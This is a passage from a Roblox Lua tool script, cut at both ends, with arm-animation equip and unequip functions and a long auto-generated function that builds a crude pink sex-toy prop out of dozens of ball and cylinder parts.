CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-180),math.rad(-90), 0) lerp(weld,weld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, 0, 0),0.08) weld:Destroy() if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end working = false end function unequip() getrid(handle) equipped = false working = true if char.Torso:FindFirstChild("Right Shoulder") then char.Torso:FindFirstChild("Right Shoulder"):Destroy() end local weld = Instance.new('Weld', char.Torso) weld.Name = "Lerping" weld.Part0 = char["Right Arm"] weld.Part1 = char.Torso weld.C0 = CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, 0, 0) lerp(weld,weld.C0,CFrame.new(-1.3, -0.5, 0) * CFrame.Angles(0, 0, math.rad(15)),0.12,true) hweld.Part0 = char["Torso"] hweld.C0 = CFrame.new(1, -0.8, 0) * CFrame.Angles(0, math.rad(90), 0) lerp(weld,weld.C0,CFrame.new(-1.5, 0, 0) * CFrame.Angles(0, 0, 0),0.08,true) weld:Destroy() if rightclone and char:FindFirstChild('Right Arm') and char:FindFirstChild('Torso') then local clone = rightclone:Clone() clone.Part0 = char.Torso clone.Part1 = char["Right Arm"] clone.Parent = char.Torso end working = false end function dildo() blademode = "dildo" working = true -- 1 - pink toy local obj1 = Instance.new("Model") obj1.Name = "pink toy" obj1.Parent = handle -- 2 - Model local obj2 = Instance.new("Model") obj2.Parent = obj1 -- 3 - Part local obj3 = Instance.new("Part") obj3.CFrame = CFrame.new(Vector3.new(66.8643951, 3.86435986, 7.14990711)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj3.CanCollide = false obj3.TopSurface = Enum.SurfaceType.Smooth obj3.BottomSurface = Enum.SurfaceType.Smooth obj3.Material = Enum.Material.SmoothPlastic obj3.Size = Vector3.new(1.00000024, 1.00000024, 1.00000024) obj3.BrickColor = BrickColor.new("Hot pink") obj3.Friction = 0.30000001192093 obj3.Shape = Enum.PartType.Ball obj3.Parent = obj2 obj3.Name = "tip" -- 4 - Part local obj4 = Instance.new("Part") obj4.CFrame = CFrame.new(Vector3.new(67.8275909, 2.08898449, 7.50048351)) * CFrame.Angles(9.1487750708552e-09, -0.34906616806984, -1.0471986532211) obj4.CanCollide = false obj4.TopSurface = Enum.SurfaceType.Smooth obj4.BottomSurface = Enum.SurfaceType.Smooth obj4.Material = Enum.Material.SmoothPlastic obj4.Size = Vector3.new(4.09999943, 1, 1) obj4.BrickColor = BrickColor.new("Hot pink") obj4.Friction = 0.30000001192093 obj4.Shape = Enum.PartType.Cylinder obj4.Parent = obj2 -- 5 - Part local obj5 = Instance.new("Part") obj5.CFrame = CFrame.new(Vector3.new(66.7104797, 3.86435843, 7.57276678)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj5.CanCollide = false obj5.TopSurface = Enum.SurfaceType.Smooth obj5.BottomSurface = Enum.SurfaceType.Smooth obj5.Material = Enum.Material.SmoothPlastic obj5.Size = Vector3.new(0.25, 0.25, 0.25) obj5.BrickColor = BrickColor.new("Hot pink") obj5.Friction = 0.30000001192093 obj5.Shape = Enum.PartType.Ball obj5.Parent = obj2 -- 6 - Part local obj6 = Instance.new("Part") obj6.CFrame = CFrame.new(Vector3.new(68.6905365, 0.83212769, 8.29345417)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.7925276756287) obj6.CanCollide = false obj6.TopSurface = Enum.SurfaceType.Smooth obj6.BottomSurface = Enum.SurfaceType.Smooth obj6.Material = Enum.Material.SmoothPlastic obj6.Size = Vector3.new(0.999999762, 0.999999762, 0.999999762) obj6.BrickColor = BrickColor.new("Hot pink") obj6.Friction = 0.30000001192093 obj6.Shape = Enum.PartType.Ball obj6.Parent = obj2 -- 7 - Part local obj7 = Instance.new("Part") obj7.CFrame = CFrame.new(Vector3.new(67.0182953, 3.86435866, 6.72704411)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj7.CanCollide = false obj7.TopSurface = Enum.SurfaceType.Smooth obj7.BottomSurface = Enum.SurfaceType.Smooth obj7.Material = Enum.Material.SmoothPlastic obj7.Size = Vector3.new(0.25, 0.25, 0.25) obj7.BrickColor = BrickColor.new("Hot pink") obj7.Friction = 0.30000001192093 obj7.Shape = Enum.PartType.Ball obj7.Parent = obj2 -- 8 - Part local obj8 = Instance.new("Part") obj8.CFrame = CFrame.new(Vector3.new(68.9983597, 0.832128167, 7.44772816)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.7925276756287) obj8.CanCollide = false obj8.TopSurface = Enum.SurfaceType.Smooth obj8.BottomSurface = Enum.SurfaceType.Smooth obj8.Material = Enum.Material.SmoothPlastic obj8.Size = Vector3.new(0.999999762, 0.999999762, 0.999999762) obj8.BrickColor = BrickColor.new("Hot pink") obj8.Friction = 0.30000001192093 obj8.Shape = Enum.PartType.Ball obj8.Parent = obj2 local fiREPART = obj8 -- 9 - Part local obj9 = Instance.new("Part") obj9.CFrame = CFrame.new(Vector3.new(68.8566208, 0.357954353, 7.87501621)) * CFrame.Angles(9.1487750708552e-09, -0.34906616806984, -1.2217314243317) obj9.CanCollide = false obj9.TopSurface = Enum.SurfaceType.Smooth obj9.BottomSurface = Enum.SurfaceType.Smooth obj9.Material = Enum.Material.SmoothPlastic obj9.Size = Vector3.new(0.0999999791, 1.50000036, 2) obj9.BrickColor = BrickColor.new("Hot pink") obj9.Friction = 0.30000001192093 obj9.Shape = Enum.PartType.Cylinder obj9.Parent = obj2 -- 10 - Part local obj10 = Instance.new("Part") obj10.CFrame = CFrame.new(Vector3.new(66.8069, 3.58244801, 7.60786104)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj10.CanCollide = false obj10.TopSurface = Enum.SurfaceType.Smooth obj10.BottomSurface = Enum.SurfaceType.Smooth obj10.Material = Enum.Material.SmoothPlastic obj10.Size = Vector3.new(0.25, 0.25, 0.25) obj10.BrickColor = BrickColor.new("Hot pink") obj10.Friction = 0.30000001192093 obj10.Shape = Enum.PartType.Ball obj10.Parent = obj2 -- 11 - Part local obj11 = Instance.new("Part") obj11.CFrame = CFrame.new(Vector3.new(67.196106, 3.632447, 6.79175806)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj11.CanCollide = false obj11.TopSurface = Enum.SurfaceType.Smooth obj11.BottomSurface = Enum.SurfaceType.Smooth obj11.Material = Enum.Material.SmoothPlastic obj11.Size = Vector3.new(0.25, 0.25, 0.25) obj11.BrickColor = BrickColor.new("Hot pink") obj11.Friction = 0.30000001192093 obj11.Shape = Enum.PartType.Ball obj11.Parent = obj2 -- 12 - Part local obj12 = Instance.new("Part") obj12.CFrame = CFrame.new(Vector3.new(67.0756683, 3.77002549, 7.63403416)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj12.CanCollide = false obj12.TopSurface = Enum.SurfaceType.Smooth obj12.BottomSurface = Enum.SurfaceType.Smooth obj12.Material = Enum.Material.SmoothPlastic obj12.Size = Vector3.new(0.25, 0.25, 0.25) obj12.BrickColor = BrickColor.new("Hot pink") obj12.Friction = 0.30000001192093 obj12.Shape = Enum.PartType.Ball obj12.Parent = obj2 -- 13 - Part local obj13 = Instance.new("Part") obj13.CFrame = CFrame.new(Vector3.new(67.4108353, 3.27276325, 6.88037825)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj13.CanCollide = false obj13.TopSurface = Enum.SurfaceType.Smooth obj13.BottomSurface = Enum.SurfaceType.Smooth obj13.Material = Enum.Material.SmoothPlastic obj13.Size = Vector3.new(0.25, 0.25, 0.25) obj13.BrickColor = BrickColor.new("Hot pink") obj13.Friction = 0.30000001192093 obj13.Shape = Enum.PartType.Ball obj13.Parent = obj2 -- 14 - Part local obj14 = Instance.new("Part") obj14.CFrame = CFrame.new(Vector3.new(66.868927, 3.43238807, 6.82578087)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj14.CanCollide = false obj14.TopSurface = Enum.SurfaceType.Smooth obj14.BottomSurface = Enum.SurfaceType.Smooth obj14.Material = Enum.Material.SmoothPlastic obj14.Size = Vector3.new(0.25, 0.25, 0.25) obj14.BrickColor = BrickColor.new("Hot pink") obj14.Friction = 0.30000001192093 obj14.Shape = Enum.PartType.Ball obj14.Parent = obj2 -- 15 - Part local obj15 = Instance.new("Part") obj15.CFrame = CFrame.new(Vector3.new(67.1951675, 3.383008, 7.69050598)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj15.CanCollide = false obj15.TopSurface = Enum.SurfaceType.Smooth obj15.BottomSurface = Enum.SurfaceType.Smooth obj15.Material = Enum.Material.SmoothPlastic obj15.Size = Vector3.new(0.25, 0.25, 0.25) obj15.BrickColor = BrickColor.new("Hot pink") obj15.Friction = 0.30000001192093 obj15.Shape = Enum.PartType.Ball obj15.Parent = obj2 -- 16 - Part local obj16 = Instance.new("Part") obj16.CFrame = CFrame.new(Vector3.new(67.50383, 3.46245813, 7.48069429)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj16.CanCollide = false obj16.TopSurface = Enum.SurfaceType.Smooth obj16.BottomSurface = Enum.SurfaceType.Smooth obj16.Material = Enum.Material.SmoothPlastic obj16.Size = Vector3.new(0.25, 0.25, 0.25) obj16.BrickColor = BrickColor.new("Hot pink") obj16.Friction = 0.30000001192093 obj16.Shape = Enum.PartType.Ball obj16.Parent = obj2 -- 17 - Part local obj17 = Instance.new("Part") obj17.CFrame = CFrame.new(Vector3.new(66.5551376, 3.4628334, 7.33871651)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj17.CanCollide = false obj17.TopSurface = Enum.SurfaceType.Smooth obj17.BottomSurface = Enum.SurfaceType.Smooth obj17.Material = Enum.Material.SmoothPlastic obj17.Size = Vector3.new(0.25, 0.25, 0.25) obj17.BrickColor = BrickColor.new("Hot pink") obj17.Friction = 0.30000001192093 obj17.Shape = Enum.PartType.Ball obj17.Parent = obj2 -- 18 - Part local obj18 = Instance.new("Part") obj18.CFrame = CFrame.new(Vector3.new(67.3677139, 3.83245182, 7.3331027)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj18.CanCollide = false obj18.TopSurface = Enum.SurfaceType.Smooth obj18.BottomSurface = Enum.SurfaceType.Smooth obj18.Material = Enum.Material.SmoothPlastic obj18.Size = Vector3.new(0.25, 0.25, 0.25) obj18.BrickColor = BrickColor.new("Hot pink") obj18.Friction = 0.30000001192093 obj18.Shape = Enum.PartType.Ball obj18.Parent = obj2 -- 19 - Part local obj19 = Instance.new("Part") obj19.CFrame = CFrame.new(Vector3.new(67.4115601, 3.71535063, 7.01420689)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj19.CanCollide = false obj19.TopSurface = Enum.SurfaceType.Smooth obj19.BottomSurface = Enum.SurfaceType.Smooth obj19.Material = Enum.Material.SmoothPlastic obj19.Size = Vector3.new(0.25, 0.25, 0.25) obj19.BrickColor = BrickColor.new("Hot pink") obj19.Friction = 0.30000001192093 obj19.Shape = Enum.PartType.Ball obj19.Parent = obj2 -- 20 - Part local obj20 = Instance.new("Part") obj20.CFrame = CFrame.new(Vector3.new(67.6487045, 3.39313889, 7.19381428)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj20.CanCollide = false obj20.TopSurface = Enum.SurfaceType.Smooth obj20.BottomSurface = Enum.SurfaceType.Smooth obj20.Material = Enum.Material.SmoothPlastic obj20.Size = Vector3.new(0.25, 0.25, 0.25) obj20.BrickColor = BrickColor.new("Hot pink") obj20.Friction = 0.30000001192093 obj20.Shape = Enum.PartType.Ball obj20.Parent = obj2 -- 21 - Part local obj21 = Instance.new("Part") obj21.CFrame = CFrame.new(Vector3.new(66.8260422, 4.12417316, 6.81669378)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj21.CanCollide = false obj21.TopSurface = Enum.SurfaceType.Smooth obj21.BottomSurface = Enum.SurfaceType.Smooth obj21.Material = Enum.Material.SmoothPlastic obj21.Size = Vector3.new(0.25, 0.25, 0.25) obj21.BrickColor = BrickColor.new("Hot pink") obj21.Friction = 0.30000001192093 obj21.Shape = Enum.PartType.Ball obj21.Parent = obj2 -- 22 - Part local obj22 = Instance.new("Part") obj22.CFrame = CFrame.new(Vector3.new(67.162117, 3.11433029, 6.8847661)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj22.CanCollide = false obj22.TopSurface = Enum.SurfaceType.Smooth obj22.BottomSurface = Enum.SurfaceType.Smooth obj22.Material = Enum.Material.SmoothPlastic obj22.Size = Vector3.new(0.25, 0.25, 0.25) obj22.BrickColor = BrickColor.new("Hot pink") obj22.Friction = 0.30000001192093 obj22.Shape = Enum.PartType.Ball obj22.Parent = obj2 -- 23 - Part local obj23 = Instance.new("Part") obj23.CFrame = CFrame.new(Vector3.new(66.4981842, 3.63936186, 7.01661682)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj23.CanCollide = false obj23.TopSurface = Enum.SurfaceType.Smooth obj23.BottomSurface = Enum.SurfaceType.Smooth obj23.Material = Enum.Material.SmoothPlastic obj23.Size = Vector3.new(0.25, 0.25, 0.25) obj23.BrickColor = BrickColor.new("Hot pink") obj23.Friction = 0.30000001192093 obj23.Shape = Enum.PartType.Ball obj23.Parent = obj2 -- 24 - Part local obj24 = Instance.new("Part") obj24.CFrame = CFrame.new(Vector3.new(66.6352844, 3.38244724, 7.06651926)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj24.CanCollide = false obj24.TopSurface = Enum.SurfaceType.Smooth obj24.BottomSurface = Enum.SurfaceType.Smooth obj24.Material = Enum.Material.SmoothPlastic obj24.Size = Vector3.new(0.25, 0.25, 0.25) obj24.BrickColor = BrickColor.new("Hot pink") obj24.Friction = 0.30000001192093 obj24.Shape = Enum.PartType.Ball obj24.Parent = obj2 -- 25 - Part local obj25 = Instance.new("Part") obj25.CFrame = CFrame.new(Vector3.new(66.753746, 3.10362744, 7.32704163)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj25.CanCollide = false obj25.TopSurface = Enum.SurfaceType.Smooth obj25.BottomSurface = Enum.SurfaceType.Smooth obj25.Material = Enum.Material.SmoothPlastic obj25.Size = Vector3.new(0.25, 0.25, 0.25) obj25.BrickColor = BrickColor.new("Hot pink") obj25.Friction = 0.30000001192093 obj25.Shape = Enum.PartType.Ball obj25.Parent = obj2 -- 26 - Part local obj26 = Instance.new("Part") obj26.CFrame = CFrame.new(Vector3.new(66.851532, 3.01907969, 7.04717398)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj26.CanCollide = false obj26.TopSurface = Enum.SurfaceType.Smooth obj26.BottomSurface = Enum.SurfaceType.Smooth obj26.Material = Enum.Material.SmoothPlastic obj26.Size = Vector3.new(0.25, 0.25, 0.25) obj26.BrickColor = BrickColor.new("Hot pink") obj26.Friction = 0.30000001192093 obj26.Shape = Enum.PartType.Ball obj26.Parent = obj2 -- 27 - Part local obj27 = Instance.new("Part") obj27.CFrame = CFrame.new(Vector3.new(66.944519, 3.20876789, 7.64748764)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj27.CanCollide = false obj27.TopSurface = Enum.SurfaceType.Smooth obj27.BottomSurface = Enum.SurfaceType.Smooth obj27.Material = Enum.Material.SmoothPlastic obj27.Size = Vector3.new(0.25, 0.25, 0.25) obj27.BrickColor = BrickColor.new("Hot pink") obj27.Friction = 0.30000001192093 obj27.Shape = Enum.PartType.Ball obj27.Parent = obj2 -- 28 - Part local obj28 = Instance.new("Part") obj28.CFrame = CFrame.new(Vector3.new(67.2306061, 4.08936405, 7.28319883)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj28.CanCollide = false obj28.TopSurface = Enum.SurfaceType.Smooth obj28.BottomSurface = Enum.SurfaceType.Smooth obj28.Material = Enum.Material.SmoothPlastic obj28.Size = Vector3.new(0.25, 0.25, 0.25) obj28.BrickColor = BrickColor.new("Hot pink") obj28.Friction = 0.30000001192093 obj28.Shape = Enum.PartType.Ball obj28.Parent = obj2 -- 29 - Part local obj29 = Instance.new("Part") obj29.CFrame = CFrame.new(Vector3.new(66.5712891, 3.99917173, 6.8835969)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj29.CanCollide = false obj29.TopSurface = Enum.SurfaceType.Smooth obj29.BottomSurface = Enum.SurfaceType.Smooth obj29.Material = Enum.Material.SmoothPlastic obj29.Size = Vector3.new(0.25, 0.25, 0.25) obj29.BrickColor = BrickColor.new("Hot pink") obj29.Friction = 0.30000001192093 obj29.Shape = Enum.PartType.Ball obj29.Parent = obj2 -- 30 - Part local obj30 = Instance.new("Part") obj30.CFrame = CFrame.new(Vector3.new(66.7236328, 4.26077843, 7.20509243)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj30.CanCollide = false obj30.TopSurface = Enum.SurfaceType.Smooth obj30.BottomSurface = Enum.SurfaceType.Smooth obj30.Material = Enum.Material.SmoothPlastic obj30.Size = Vector3.new(0.25, 0.25, 0.25) obj30.BrickColor = BrickColor.new("Hot pink") obj30.Friction = 0.30000001192093 obj30.Shape = Enum.PartType.Ball obj30.Parent = obj2 -- 31 - Part local obj31 = Instance.new("Part") obj31.CFrame = CFrame.new(Vector3.new(66.5950623, 4.16077423, 7.05188084)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj31.CanCollide = false obj31.TopSurface = Enum.SurfaceType.Smooth obj31.BottomSurface = Enum.SurfaceType.Smooth obj31.Material = Enum.Material.SmoothPlastic obj31.Size = Vector3.new(0.25, 0.25, 0.25) obj31.BrickColor = BrickColor.new("Hot pink") obj31.Friction = 0.30000001192093 obj31.Shape = Enum.PartType.Ball obj31.Parent = obj2 -- 32 - Part local obj32 = Instance.new("Part") obj32.CFrame = CFrame.new(Vector3.new(67.0637207, 4.03936481, 7.48850012)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj32.CanCollide = false obj32.TopSurface = Enum.SurfaceType.Smooth obj32.BottomSurface = Enum.SurfaceType.Smooth obj32.Material = Enum.Material.SmoothPlastic obj32.Size = Vector3.new(0.25, 0.25, 0.25) obj32.BrickColor = BrickColor.new("Hot pink") obj32.Friction = 0.30000001192093 obj32.Shape = Enum.PartType.Ball obj32.Parent = obj2 -- 33 - Part local obj33 = Instance.new("Part") obj33.CFrame = CFrame.new(Vector3.new(66.4686813, 3.99917364, 7.16550922)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj33.CanCollide = false obj33.TopSurface = Enum.SurfaceType.Smooth obj33.BottomSurface = Enum.SurfaceType.Smooth obj33.Material = Enum.Material.SmoothPlastic obj33.Size = Vector3.new(0.25, 0.25, 0.25) obj33.BrickColor = BrickColor.new("Hot pink") obj33.Friction = 0.30000001192093 obj33.Shape = Enum.PartType.Ball obj33.Parent = obj2 -- 34 - Part local obj34 = Instance.new("Part") obj34.CFrame = CFrame.new(Vector3.new(66.6615219, 4.14917231, 7.3953228)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj34.CanCollide = false obj34.TopSurface = Enum.SurfaceType.Smooth obj34.BottomSurface = Enum.SurfaceType.Smooth obj34.Material = Enum.Material.SmoothPlastic obj34.Size = Vector3.new(0.25, 0.25, 0.25) obj34.BrickColor = BrickColor.new("Hot pink") obj34.Friction = 0.30000001192093 obj34.Shape = Enum.PartType.Ball obj34.Parent = obj2 -- 35 - Part local obj35 = Instance.new("Part") obj35.CFrame = CFrame.new(Vector3.new(66.8712616, 4.16257238, 7.47166586)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj35.CanCollide = false obj35.TopSurface = Enum.SurfaceType.Smooth obj35.BottomSurface = Enum.SurfaceType.Smooth obj35.Material = Enum.Material.SmoothPlastic obj35.Size = Vector3.new(0.25, 0.25, 0.25) obj35.BrickColor = BrickColor.new("Hot pink") obj35.Friction = 0.30000001192093 obj35.Shape = Enum.PartType.Ball obj35.Parent = obj2 -- 36 - Part local obj36 = Instance.new("Part") obj36.CFrame = CFrame.new(Vector3.new(66.7165604, 3.82596827, 6.77684546)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj36.CanCollide = false obj36.TopSurface = Enum.SurfaceType.Smooth obj36.BottomSurface = Enum.SurfaceType.Smooth obj36.Material = Enum.Material.SmoothPlastic obj36.Size = Vector3.new(0.25, 0.25, 0.25) obj36.BrickColor = BrickColor.new("Hot pink") obj36.Friction = 0.30000001192093 obj36.Shape = Enum.PartType.Ball obj36.Parent = obj2 -- 37 - Part local obj37 = Instance.new("Part") obj37.CFrame = CFrame.new(Vector3.new(66.9846878, 4.27417517, 7.14047909)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj37.CanCollide = false obj37.TopSurface = Enum.SurfaceType.Smooth obj37.BottomSurface = Enum.SurfaceType.Smooth obj37.Material = Enum.Material.SmoothPlastic obj37.Size = Vector3.new(0.25, 0.25, 0.25) obj37.BrickColor = BrickColor.new("Hot pink") obj37.Friction = 0.30000001192093 obj37.Shape = Enum.PartType.Ball obj37.Parent = obj2 -- 38 - Part local obj38 = Instance.new("Part") obj38.CFrame = CFrame.new(Vector3.new(67.1641541, 4.10096312, 6.93975735)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj38.CanCollide = false obj38.TopSurface = Enum.SurfaceType.Smooth obj38.BottomSurface = Enum.SurfaceType.Smooth obj38.Material = Enum.Material.SmoothPlastic obj38.Size = Vector3.new(0.25, 0.25, 0.25) obj38.BrickColor = BrickColor.new("Hot pink") obj38.Friction = 0.30000001192093 obj38.Shape = Enum.PartType.Ball obj38.Parent = obj2 -- 39 - Part local obj39 = Instance.new("Part") obj39.CFrame = CFrame.new(Vector3.new(66.792038, 4.26077843, 7.01715183)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj39.CanCollide = false obj39.TopSurface = Enum.SurfaceType.Smooth obj39.BottomSurface = Enum.SurfaceType.Smooth obj39.Material = Enum.Material.SmoothPlastic obj39.Size = Vector3.new(0.25, 0.25, 0.25) obj39.BrickColor = BrickColor.new("Hot pink") obj39.Friction = 0.30000001192093 obj39.Shape = Enum.PartType.Ball obj39.Parent = obj2 -- 40 - Part local obj40 = Instance.new("Part") obj40.CFrame = CFrame.new(Vector3.new(66.5005493, 3.71436262, 7.38994217)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj40.CanCollide = false obj40.TopSurface = Enum.SurfaceType.Smooth obj40.BottomSurface = Enum.SurfaceType.Smooth obj40.Material = Enum.Material.SmoothPlastic obj40.Size = Vector3.new(0.25, 0.25, 0.25) obj40.BrickColor = BrickColor.new("Hot pink") obj40.Friction = 0.30000001192093 obj40.Shape = Enum.PartType.Ball obj40.Parent = obj2 -- 41 - stretches local obj41 = Instance.new("Model") obj41.Name = "stretches" obj41.Parent = obj1 -- 42 - stretchlol local obj42 = Instance.new("Part") obj42.CFrame = CFrame.new(Vector3.new(67.162117, 3.13544774, 6.8847661)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj42.CanCollide = false obj42.Transparency = 1 obj42.TopSurface = Enum.SurfaceType.Smooth obj42.BottomSurface = Enum.SurfaceType.Smooth obj42.Material = Enum.Material.SmoothPlastic obj42.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj42.BrickColor = BrickColor.new("Pastel brown") obj42.Friction = 0.30000001192093 obj42.Shape = Enum.PartType.Ball obj42.Name = "stretchlol" obj42.Parent = obj41 -- 43 - stretchlol local obj43 = Instance.new("Part") obj43.CFrame = CFrame.new(Vector3.new(67.1951675, 3.40412855, 7.69050598)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj43.CanCollide = false obj43.Transparency = 1 obj43.TopSurface = Enum.SurfaceType.Smooth obj43.BottomSurface = Enum.SurfaceType.Smooth obj43.Material = Enum.Material.SmoothPlastic obj43.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj43.BrickColor = BrickColor.new("Pastel brown") obj43.Friction = 0.30000001192093 obj43.Shape = Enum.PartType.Ball obj43.Name = "stretchlol" obj43.Parent = obj41 -- 44 - stretchlol local obj44 = Instance.new("Part") obj44.CFrame = CFrame.new(Vector3.new(67.5038223, 3.48357916, 7.48069382)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj44.CanCollide = false obj44.Transparency = 1 obj44.TopSurface = Enum.SurfaceType.Smooth obj44.BottomSurface = Enum.SurfaceType.Smooth obj44.Material = Enum.Material.SmoothPlastic obj44.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj44.BrickColor = BrickColor.new("Pastel brown") obj44.Friction = 0.30000001192093 obj44.Shape = Enum.PartType.Ball obj44.Name = "stretchlol" obj44.Parent = obj41 -- 45 - stretchlol local obj45 = Instance.new("Part") obj45.CFrame = CFrame.new(Vector3.new(67.1641541, 4.12207699, 6.93975687)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj45.CanCollide = false obj45.Transparency = 1 obj45.TopSurface = Enum.SurfaceType.Smooth obj45.BottomSurface = Enum.SurfaceType.Smooth obj45.Material = Enum.Material.SmoothPlastic obj45.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj45.BrickColor = BrickColor.new("Pastel brown") obj45.Friction = 0.30000001192093 obj45.Shape = Enum.PartType.Ball obj45.Name = "stretchlol" obj45.Parent = obj41 -- 46 - stretchlol local obj46 = Instance.new("Part") obj46.CFrame = CFrame.new(Vector3.new(66.8712616, 4.18368626, 7.47166586)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj46.CanCollide = false obj46.Transparency = 1 obj46.TopSurface = Enum.SurfaceType.Smooth obj46.BottomSurface = Enum.SurfaceType.Smooth obj46.Material = Enum.Material.SmoothPlastic obj46.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj46.BrickColor = BrickColor.new("Pastel brown") obj46.Friction = 0.30000001192093 obj46.Shape = Enum.PartType.Ball obj46.Name = "stretchlol" obj46.Parent = obj41 -- 47 - stretchlol local obj47 = Instance.new("Part") obj47.CFrame = CFrame.new(Vector3.new(66.8260345, 4.14528561, 6.81669378)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj47.CanCollide = false obj47.Transparency = 1 obj47.TopSurface = Enum.SurfaceType.Smooth obj47.BottomSurface = Enum.SurfaceType.Smooth obj47.Material = Enum.Material.SmoothPlastic obj47.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj47.BrickColor = BrickColor.new("Pastel brown") obj47.Friction = 0.30000001192093 obj47.Shape = Enum.PartType.Ball obj47.Name = "stretchlol" obj47.Parent = obj41 -- 48 - stretchlol local obj48 = Instance.new("Part") obj48.CFrame = CFrame.new(Vector3.new(66.7104797, 3.88547921, 7.57276678)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj48.CanCollide = false obj48.Transparency = 1 obj48.TopSurface = Enum.SurfaceType.Smooth obj48.BottomSurface = Enum.SurfaceType.Smooth obj48.Material = Enum.Material.SmoothPlastic obj48.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj48.BrickColor = BrickColor.new("Pastel brown") obj48.Friction = 0.30000001192093 obj48.Shape = Enum.PartType.Ball obj48.Name = "stretchlol" obj48.Parent = obj41 -- 49 - stretchlol local obj49 = Instance.new("Part") obj49.CFrame = CFrame.new(Vector3.new(67.0637207, 4.06047773, 7.48850012)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj49.CanCollide = false obj49.Transparency = 1 obj49.TopSurface = Enum.SurfaceType.Smooth obj49.BottomSurface = Enum.SurfaceType.Smooth obj49.Material = Enum.Material.SmoothPlastic obj49.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj49.BrickColor = BrickColor.new("Pastel brown") obj49.Friction = 0.30000001192093 obj49.Shape = Enum.PartType.Ball obj49.Name = "stretchlol" obj49.Parent = obj41 -- 50 - stretchlol local obj50 = Instance.new("Part") obj50.CFrame = CFrame.new(Vector3.new(66.7165604, 3.84708691, 6.77684498)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj50.CanCollide = false obj50.Transparency = 1 obj50.TopSurface = Enum.SurfaceType.Smooth obj50.BottomSurface = Enum.SurfaceType.Smooth obj50.Material = Enum.Material.SmoothPlastic obj50.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj50.BrickColor = BrickColor.new("Pastel brown") obj50.Friction = 0.30000001192093 obj50.Shape = Enum.PartType.Ball obj50.Name = "stretchlol" obj50.Parent = obj41 -- 51 - stretchlol local obj51 = Instance.new("Part") obj51.CFrame = CFrame.new(Vector3.new(66.9846878, 4.29528904, 7.14047909)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj51.CanCollide = false obj51.Transparency = 1 obj51.TopSurface = Enum.SurfaceType.Smooth obj51.BottomSurface = Enum.SurfaceType.Smooth obj51.Material = Enum.Material.SmoothPlastic obj51.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj51.BrickColor = BrickColor.new("Pastel brown") obj51.Friction = 0.30000001192093 obj51.Shape = 